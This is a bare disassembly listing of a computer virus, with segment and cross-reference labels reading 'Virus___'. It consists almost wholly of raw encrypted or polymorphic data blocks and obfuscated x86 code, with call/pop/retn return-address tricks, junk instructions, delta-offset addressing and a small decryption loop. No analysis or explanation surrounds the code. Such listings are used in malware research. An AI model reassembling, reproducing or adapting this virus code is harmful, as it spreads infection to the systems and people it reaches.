		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0C305BBC0h, 6A6F85h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 89C41CC3h, 1B210185h
		dd 0D5853107h, 83071B08h, 1B18CDBDh, 850F0307h,	3FEh, 27BF6650h
		dd 81665F7Fh, 83E327E3h, 1EABC8BDh, 840F0007h, 3E6h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AEC35646h, 14CEB371h
		dd 1B11BD23h, 8D89071Bh, 71B1899h, 0ABC8B5FFh, 830F071Eh
		dd 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+71B09A5h]
		jmp	loc_5817FB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FA7FB11Bh
; ---------------------------------------------------------------------------
		cmpsd
		fmul	st(6), st


loc_5817FB:				; CODE XREF: Virus___:005817EEj
		mov	esi, [ebp+71EABBCh]
		push	0
		push	edx
		call	sub_58180C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58180C	proc near		; CODE XREF: Virus___:00581804p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58180C	endp

; ---------------------------------------------------------------------------
		dd 26ED6B9Ah, 4561BB8Fh, 6C76FEBh, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BCC35040h, 0C3BA8B0Dh
		dd 8B96F9B3h, 0BF6650DAh, 53963DEBh, 5FDEBF0Fh,	0ABC8B5FFh
		dd 0BF0F071Eh, 6195FFF9h, 9071B35h, 1B327195h, 0BCB58B07h
		dd 6A071EABh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 6B3BC351h, 0E15668ECh,	8B235E9Fh
		dd 1B22499Dh, 11858B07h, 6A071B04h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A5B3C356h
		dd 0C48689D3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F29C353h, 68Ah, 61BD8B00h
		dd 81071B14h, 774BBCC7h, 0B5958B41h, 6A071B29h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 9572C356h, 0BD8BD1C5h, 71B3179h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 5413C356h, 7C7386CFh, 0CBCBD381h, 50893E2Fh,	6870F20h
		dd 8B000000h, 1B0B89BDh, 0F9858D07h, 6A071EBFh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 80A1C353h, 0E8BA5D6Ch, 7, 0B4108C40h, 5B44FC11h, 0B88689h
		dd 9D2B0000h, 71B1EFDh,	13E8006Ah, 17000000h, 0A5AC8F69h
		dd 0CD9FE6F6h, 28705306h, 32749303h, 0BD891A1Bh, 71B2E35h
		dd 0C8B5FF5Fh, 6A071EABh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0AE66C357h,	75B208E5h
		dd 66FABF0Fh, 0C169EB81h, 9DD95FFh, 8B60071Bh, 1B293985h
		dd 11858B07h, 61071B25h, 89F98B50h, 6A2434h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 10C13CC3h
		dd 74A9F393h, 0BD315E40h, 71B2E15h, 0ABC8B5FFh,	0CF81071Eh
		dd 73572051h, 34195FFh,	6A071Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 48656C3h, 0E97B48F3h
		dd 0Eh,	0F3F9ABBFh, 528C9AAFh, 5633A7F7h, 0BD83338Ah, 71B2431h
		dd 40840F00h, 0E8000000h, 13h, 60245840h, 7F4E2D1Dh, 2C931BB1h
		dd 1ABDC99Eh, 5FE3FA83h, 800F5096h, 1Eh, 0DE95250h, 0C0000000h
		dd 5E2A34D4h, 0E23F9840h, 180A92A0h, 8F0F310Fh,	0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		xchg	eax, esi
		push	dword ptr [ebp+71EABC8h]
		xor	[ebp+71B014Dh],	edi
		call	dword ptr [ebp+71B18A5h]
		push	0
		push	edi
		call	sub_581AE0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581AE0	proc near		; CODE XREF: Virus___:00581AD8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_581AE0	endp

; ---------------------------------------------------------------------------
		sbb	[ebx], dh
		push	ecx
		mov	dl, [ebx+ecx-43h]
		inc	ebp
		sbb	al, 1Bh
		pop	es
		push	dword ptr [ebp+71EABC8h]
		jnz	loc_581B0D
		sub	[ebp+71B0D6Dh],	ecx


loc_581B0D:				; CODE XREF: Virus___:00581B01j
		mov	[ebp+71B00DDh],	esi
		call	dword ptr [ebp+71B293Dh]
		mov	di, ax
		cmp	dword ptr [ebp+71B28F1h], 2
		jz	loc_581B89
		add	[ebp+71B275Dh],	esi
		mov	eax, [ebp+71B007Dh]
		push	0
		push	eax
		call	sub_581B40
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581B40	proc near		; CODE XREF: Virus___:00581B38p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_581B40	endp

; ---------------------------------------------------------------------------
		pop	esi
		mov	ebx, [ebp+71B2E15h]
		mov	edi, [ebp+71B1741h]
		mov	byte ptr [eax],	0
		push	0
		push	edx
		call	sub_581B6B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581B6B	proc near		; CODE XREF: Virus___:00581B63p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_581B6B	endp

; ---------------------------------------------------------------------------
		db 9Ch
		dd 2E43030h, 0E843A85Eh, 0BD840ABBh
		db 28h
; ---------------------------------------------------------------------------


loc_581B89:				; CODE XREF: Virus___:00581B23j
		mov	dword ptr [ebp+71B0991h], 0
		movzx	edi, dx
		jmp	near ptr dword_580CD4+33Bh
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_581BA6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581BA6	proc near		; CODE XREF: Virus___:00581B9Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_581BA6	endp

; ---------------------------------------------------------------------------
		dw 73E7h
		dd 3B27168Fh, 0F35668Ah, 8Ah, 6AC18B00h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 61F1C351h
		dd 54B67856h, 660A7E40h, 89F038BFh, 1B28419Dh, 55858D07h
		dd 6A071B12h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 45F5C350h, 7DF7488Fh, 50F55B4Fh
		dd 24BF5157h, 5B637F0Eh, 2404895Bh, 6AD88B66h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 8BA6D3BDh, 199D8BA5h, 81071B03h, 84A91FD7h, 6A006A24h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B03EC353h, 0E9AE68F4h, 10h, 0CF9D635Fh
		dd 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 6CD2858Dh,	6A071Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9C487EC3h, 43DA4FF6h, 9E995A2h, 1000000h, 9505B3B6h
		dd 68312D3Eh, 8303DF80h, 0B5B305C0h, 24048950h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3FC35242h, 88482A76h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0AA1042C3h, 0BE04A351h, 0AE85Dh, 0E2750000h
		dd 157FD26Eh, 0A7CFDBDFh, 6A5F75B3h, 0D9BF0F00h, 1EA995FFh
		dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B6AD1C3h, 9C8D8DF8h, 6A071E97h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0CA19C351h, 1DE2AA83h, 54B78827h, 0FFFB8B66h, 0B99D33D1h
		dd 83071B21h, 1B2105BDh, 850F0107h, 0A0h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0EEC35343h, 0AB183E06h
		dd 860F8C90h, 0Fh, 0AE9h, 26366B00h, 8E3E682h, 6A396AD0h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 965EC837h, 0F51DB36h, 689h, 0AEC38100h
		dd 5B032544h, 9ABF6690h, 6A90504Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8ADDC350h
		dd 5E9h, 5B872300h, 95FFEAE6h, 71B09DDh, 0C214BF66h, 0D7BE9h
		dd 0E800h, 815D0000h, 1F6CDCEDh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0AFBFCDC6h
		dd 6A36D0D7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 8615C352h, 9F112919h, 0E781664Eh
		dd 858D6D10h, 71E9202h,	5090FA8Bh, 0F525060h, 87h, 60310F00h
		dd 0B7585A61h, 89906112h, 1B356D9Dh, 1A8F0F07h,	60000000h
		dd 0CE8h, 0D20A6C00h, 0F749CBC3h, 0D4AE67C4h, 8D8B5F8Ah
		dd 71B3135h, 35FF6461h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_581EEB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581EEB	proc near		; CODE XREF: Virus___:00581EE3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_581EEB	endp

; ---------------------------------------------------------------------------
		db 0C7h
		dd 0CA117A0Eh, 6409580Bh, 2589h, 89600000h, 1B08E18Dh
		dd 3EB96607h, 85FF611Dh, 71B264Dh, 0A4E38166h, 89FF6ADFh
		dd 1B0D5D8Dh, 0C5B5FF07h, 6A071B2Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF46C355h
		dd 1B2F4595h, 128E907h,	0BD2B0000h, 71B1EB9h, 860F00B0h
		dd 5, 5ACB27BFh, 8B70E62Ch, 1B2A41BDh, 8B71E407h, 1B2FFD9Dh
		dd 0F613C07h, 0FD83h, 3DBD8B00h, 0F071B25h, 9D8BC8B6h
		dd 71B235Dh, 6BAh, 0E9C18B00h, 8, 0E6A64452h, 9342B20Fh
		dd 2675BD8Bh, 0E8C1071Bh, 5BD3304h, 89071B24h, 1B2765B5h
		dd 0E2F76607h, 2BFBB70Fh, 519D8BC8h, 0BB071B16h, 0C24EDF1h
		dd 8166D18Bh, 93843E7h,	1B33598Dh, 0BE907h, 81660000h
		dd 892A30E3h, 1B188D95h, 85858B07h, 66071B18h, 4588C781h
		dd 0F807C083h, 0E900C083h, 11h,	28F70DF0h, 2A34D4C0h, 3F98405Eh
		dd 0A92A0E2h, 0FD03B18h, 0D83h,	0E9F4B300h, 5Eh, 2DA58509h
		dd 8D8B071Bh, 71B25B9h,	128A0Fh, 0DE90000h, 0B7000000h
		dd 0BA36A7C4h, 5D606440h, 0EBBA6306h, 0F01E183h, 3184h
		dd 6820F00h, 81000000h,	6B6107DFh, 0B9A58367h, 0FE071B25h
		dd 0EE9h, 796A9000h, 77BAD763h,	0B2D9A4AEh, 896F14BCh
		dd 1B188595h, 0E907h, 0B58D0000h, 71EF185h, 6ADF8B66h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 63BB66B7h, 8995FFE7h, 6A071B12h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 49CCC351h, 0B90A2572h, 88Bh,	29FCE183h, 1B01018Dh, 0C02BFC07h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B8C35646h
		dd 50D833D1h, 958931EBh, 71B1445h, 5820Fh, 85BF0000h, 0BA691CA5h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_582123
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582123	proc near		; CODE XREF: Virus___:0058211Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_582123	endp

; ---------------------------------------------------------------------------
		mov	dl, 0A4h
		sub	eax, 0F9BD8B2Fh
		add	bl, [ebx]
		pop	es


loc_58213D:				; CODE XREF: Virus___:00582147j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58213D
		and	edi, 2C0CEB4Dh
		mov	ebx, [ebp+71B1731h]
		or	eax, 88h
		push	0
		push	edx
		call	sub_582165
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582165	proc near		; CODE XREF: Virus___:0058215Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_582165	endp

; ---------------------------------------------------------------------------
		db 33h,	0C5h, 0AFh
		dd 13E9845Ch, 59000000h, 0BC6D50AAh, 2185E439h,	532D40B9h
		dd 0F07BFDC1h, 0BD890B12h, 71B17BDh, 29B5958Bh,	0AE9071Bh
		dd 48000000h, 0B15CAA7Dh, 3FF519FAh, 28E0FF9h, 51000000h
		dd 0F58D8B5Fh, 89071B02h, 1B0D5995h, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9749C356h
		dd 0A4B251ABh, 26819589h, 0DEBF071Bh, 830F31D0h, 1B2165BDh
		dd 840F0007h, 3Ch, 0B8h, 0A9BD8B00h, 89071B16h,	1B2251BDh
		dd 898D8D07h, 6A071B4Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 642CC355h, 9D8BE1FFh
		dd 71B1FA1h, 18CDBD83h,	0F00071Bh, 45584h, 83DE8B00h, 1B18CDBDh
		dd 840F0107h, 461h, 22518509h, 0BD83071Bh, 71B18CDh, 18860F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A03C356h, 0F0ECB36Fh,	8F18589h
		dd 8D01071Bh, 71B278Dh,	4018589h, 8960071Bh, 1B2745B5h
		dd 0D98C6607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	32C35747h, 0B5CCDAFEh, 9D8B57ACh, 71B0CF9h, 4E1805Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FEC35545h
		dd 0DE99A394h, 0FE9AC0Bh, 0E2000000h, 3364E10Dh, 0AA51537Dh
		dd 0F2FC7718h, 0C90AF9C9h, 195840Fh, 0BD330000h, 71B1B05h
		dd 30E5858Bh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0D2BDD1C3h, 30558533h, 0E960071Bh
		dd 0Dh,	0CAE9B687h, 0A2A5E073h,	31C5B557h, 8D9589B0h, 61071B31h
		dd 3076C0BFh, 7E89048h,	0D3000000h, 0F0F3ACBDh,	8B667ABAh
		dd 66505FF8h, 90EC10BBh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0B2C35242h, 28758B56h, 6A006AEEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 329C355h, 68ED2D62h,	4E8h, 1F03FF00h, 0F525000h, 682h
		dd 0F525000h, 0F585A31h, 8E96031h, 6000000h, 6DC0D779h
		dd 5620302Ch, 585A615Bh, 0F525050h, 381h, 0D98B6600h, 585A310Fh
		dd 424448Bh, 10E85660h,	3D000000h, 0F219F172h, 0BE742F04h
		dd 0A272FCDh, 5E3DE09Bh, 8B615Fh, 0E8F18B60h, 0Ah, 0F1248726h
		dd 0AB83019Bh, 5A56C79Dh, 4489615Ah, 66600424h,	14E9C88Bh
		dd 0F7000000h, 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh
		dd 613EC741h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FC1A4263h, 4E995FFh, 6A071Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0CF805CC3h, 0C8858973h, 81071EABh, 0A172E3C3h, 139E937h
		dd 8BF50000h, 1EABC085h, 0F8B70F07h, 1800C7h, 95890000h
		dd 71B1C11h, 0ABC4B58Bh, 48B3071Eh, 149858Bh, 6A071Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0AFB2EAC3h, 6E9A143h, 84000000h, 6A98A556h, 6A068931h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C866C351h, 858BCD27h, 71B30E5h, 99BD8B60h
		dd 89071B2Fh, 1B1435B5h, 46896107h, 8E904h, 0BC7F0000h
		dd 0A67417D3h, 8B966756h, 0D88B50F8h, 12E996h, 631A0000h
		dd 0E0F697EEh, 226ACBCEh, 7E6B9DE7h, 0A7308903h, 0ABC0B5FFh
		dd 0D380071Eh, 0EC8F68B4h, 8B66C952h, 240481FBh, 36CC1770h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h
		dd 0D8E8BB81h, 858D0E3Ch, 71EABC8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0D1C35646h,	530E1EC9h, 0BD0BB238h
		dd 71B3291h, 0AF5DBF66h, 50D98B90h, 8B535250h, 310F5FDEh
		dd 8B90585Ah, 1B3045BDh, 0E995FF07h, 61071B04h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6FC35646h, 14C158D3h
		dd 0ECBB0F52h, 8B227C64h, 1B188D9Dh, 0CD85C707h, 3071B18h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 85B4C356h, 68FF5871h, 62EB81F3h
		dd 8304B9B9h, 1EABC8BDh, 840F0007h, 37h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 25C35242h, 0D6D1E501h
		dd 0C9E380FFh, 5E9h, 0F6D4CA00h, 1FE982B7h, 8B000000h
		dd 50FA8BDAh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 0F51C08Bh,	681h, 71BD8900h, 5F071B29h, 13E9h
		dd 0BC19D300h, 8A495425h, 845BDD3Ch, 0EB894CE0h, 4D877578h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 99C35040h
		dd 0EC604D40h, 2830F0Fh, 0B3000000h, 0CDBD83A2h, 3071B18h
		dd 44D850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8166F7C3h, 83BCA7C7h, 1EABC8BDh
		dd 840F0007h, 41Fh, 0FFF8B70Fh,	1EABC8B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0E23AA650h, 4035928Dh, 9D0BEE49h, 71B28E1h, 870Fh, 95FF0000h
		dd 71B09A5h, 0FCCB8166h, 8BF5B7C1h, 1EABBCB5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0B95A5241h, 5C19D8Bh, 6C7071Bh, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EC35343h, 6C192322h
		dd 0D8E90424h, 23F88BB6h, 1B243D9Dh, 52509607h,	0FC18A60h
		dd 80h,	310F6100h, 6B35BB66h, 8B50585Ah, 8D8996DFh, 71B17D9h
		dd 0ABC8B5FFh, 6A071Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 51338C3h, 20A6E381h, 95FF46CCh
		dd 71B3561h, 0ABBCB58Bh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0D23177C3h, 999D89D8h
		dd 8B071B14h, 1B041185h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 4417E383h, 2857BF55h
		dd 0C48689h, 95290000h,	71B3425h, 29099D33h, 958B071Bh
		dd 71B29B5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0C2C35545h, 4F350BCDh, 9D8BB423h, 71B1AE1h, 4C283F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h
		dd 0BC12739Ch, 982CF574h, 0A9B5298Bh, 89071B18h, 6A2050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DD93BAC3h, 95DE9B58h, 0F9858D79h, 6A071EBFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 1FC9C351h, 53E8E6B9h, 89195C12h, 1B129DB5h
		dd 0B8868907h, 8B000000h, 80006ADFh, 0B5FF2DF7h, 71EABC8h
		dd 23958501h, 95FF071Bh, 71B09DDh, 30359D31h, 6650071Bh
		dd 3489D88Bh, 158D8924h, 0FF071B1Ch, 1EABC8B5h,	50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0C2A45910h, 0BFF90C53h, 7054E460h, 34195FFh,	6A071Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 11C5D5C3h, 31BD83E3h, 71B24h, 7E840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 60A7E5C3h, 12E953h, 59DA0000h, 7CEBEDEEh, 0D00638B7h
		dd 0EC2D7BB8h, 0EF6D95AAh, 79858B5Ah, 61071B0Dh, 8684BB96h
		dd 0E850223Bh, 0Dh, 0DE4CBF84h,	2746B000h, 87D441ABh, 31CFBB32h
		dd 965F4662h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0D8C35040h, 0EBA5BB19h,	0ABC8B5FFh, 6A071Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B5095FC3h, 71B2331h, 3890Fh, 0B70F0000h, 0A595FFDBh
		dd 0FF071B18h, 1EABC8B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3E7019CFh
		dd 4AAF5C2h, 8B66F6A7h,	3D95FFDAh, 6A071B29h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 2C57C357h, 0D380D602h, 0F1BD8336h, 2071B28h,	3A840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 60B981C3h, 66A6C458h, 8B919CD9h, 1B007D85h
		dd 3DEF8107h, 0C655FDDCh, 8D310000h, 71B3505h, 99185C7h
		dd 71Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 170424h, 51410000h, 619B11C3h, 598D8958h, 0E9071B31h
		dd 0FFFFF391h, 1C15B589h, 0C18B071Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0DFC35545h,	9D8B9DEAh, 71B2AC5h
		dd 1255858Dh, 11E9071Bh, 9E000000h, 9110B09h, 6BF19494h
		dd 7D04F832h, 2672300Eh, 840F90h, 50000000h, 0AE9h, 2DBFAB00h
		dd 59481168h, 90A136ECh, 2A5D9D31h, 6A071Bh, 18619D8Bh
		dd 6A071Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 17h,	0C3C35343h, 0E8869D78h,	0Dh, 91B49083h,	0EBFC5EAEh
		dd 26A59C2Dh, 0DDDF8177h, 5B6C057Eh, 7BF4858Dh,	6660071Fh
		dd 8B47D181h, 61F3B70Fh, 6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 78ECC350h
		dd 0E821B27Ch, 89D9ED04h, 50DC8A90h, 0F98B6650h, 0BD8B905Bh
		dd 71B0345h, 21CDBD89h,	6A071Bh, 2E05BD8Bh, 6A071Bh, 1C219589h
		dd 95FF071Bh, 71B1EA9h,	59D03h,	8D8D071Bh, 71E979Ch, 0FF76CF80h
		dd 0EF8166D1h, 0BD836F2Dh, 71B2105h, 9F850F01h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0BEBAC355h, 6664D33Bh, 12E9DF8Bh,	0DE000000h
		dd 0B36335C7h, 0DEF44E80h, 89431738h, 66644E70h, 66026ABFh
		dd 90AA10BFh, 52505250h, 13E9h,	480A6200h, 537775E8h, 88F3C493h
		dd 0AA5C9513h, 0CC078CE5h, 0BF66310Fh, 585A17DFh, 585A310Fh
		dd 0B6BB6650h, 6A907Ch,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 1D1C5EC3h, 0ECCB7831h, 0F781FDC8h
		dd 4466934h, 9DD95FFh, 4EE9071Bh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 71F7BFEh
		push	0
		push	ebx
		call	sub_582D7A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582D7A	proc near		; CODE XREF: Virus___:00582D72p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_582D7A	endp

; ---------------------------------------------------------------------------
		dw 33B0h
		dd 0B02BB609h, 0F3AB695Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0ACC35646h, 2D50EA48h, 9202858Dh, 0FCBB071Eh
		dd 0F2D48EEh, 686h, 0E1BD8B00h,	50071B26h, 6B75BB66h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 92D1C355h, 723DBB51h, 0BB6619F1h,	0FF64C616h
		dd 35h,	0A59D8B00h, 64071B25h, 2589h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 487E8EC3h, 0EE99Ch, 0B9880000h, 0E1A436C9h, 5A081D5Dh
		dd 887BA07h, 264D85FFh,	0E381071Bh, 0D7F0916h, 6AFF6Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 87CD06C3h, 19471055h, 0BE978h, 3E960000h, 0D7115128h
		dd 37D8A028h, 5B5FF57h,	6A071B26h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EB19C353h
		dd 9E9E8h, 0A7A90000h, 62AFABC5h, 0FFB2B821h, 1B2F4595h
		dd 136E907h, 0E9600000h, 0Dh, 907A57F1h, 1527E025h, 5638E797h
		dd 0F78B6631h, 0F00B061h, 1480h, 0CA8B6000h, 0BE9h, 589A6300h
		dd 1337B4DEh, 9A4CBBBAh, 6670E661h, 27CDE781h, 816671E4h
		dd 3C8BB7E3h, 0ED830F61h, 89000000h, 1B24FD85h,	0BD9D3307h
		dd 0F071B23h, 0C380C8B6h, 6BAC6h, 8D0F0000h, 6,	8536E781h
		dd 0C3813ADBh, 7908C322h, 0CB81C18Bh, 9089A2Fh,	8104E8C1h
		dd 0BE60B7C3h, 0E2F7667Dh, 0DE8BC82Bh, 2799BD8Bh, 0D18B071Bh
		dd 2D1DBD8Bh, 8E9071Bh,	89000000h, 1B1A8195h, 8BF88B07h
		dd 1B0E2985h, 0F99D8B07h, 83071B1Eh, 816607C0h,	835B0BF7h
		dd 9D8B00C0h, 71B2F1Dh,	1B6D8589h, 0D03B071Bh, 2D830Fh
		dd 0DF800000h, 5EE910h,	0BE80000h, 0D6000000h, 63807E96h
		dd 0E984824Ch, 0BE88758h, 81000000h, 0E24048D2h, 0FE84194Bh
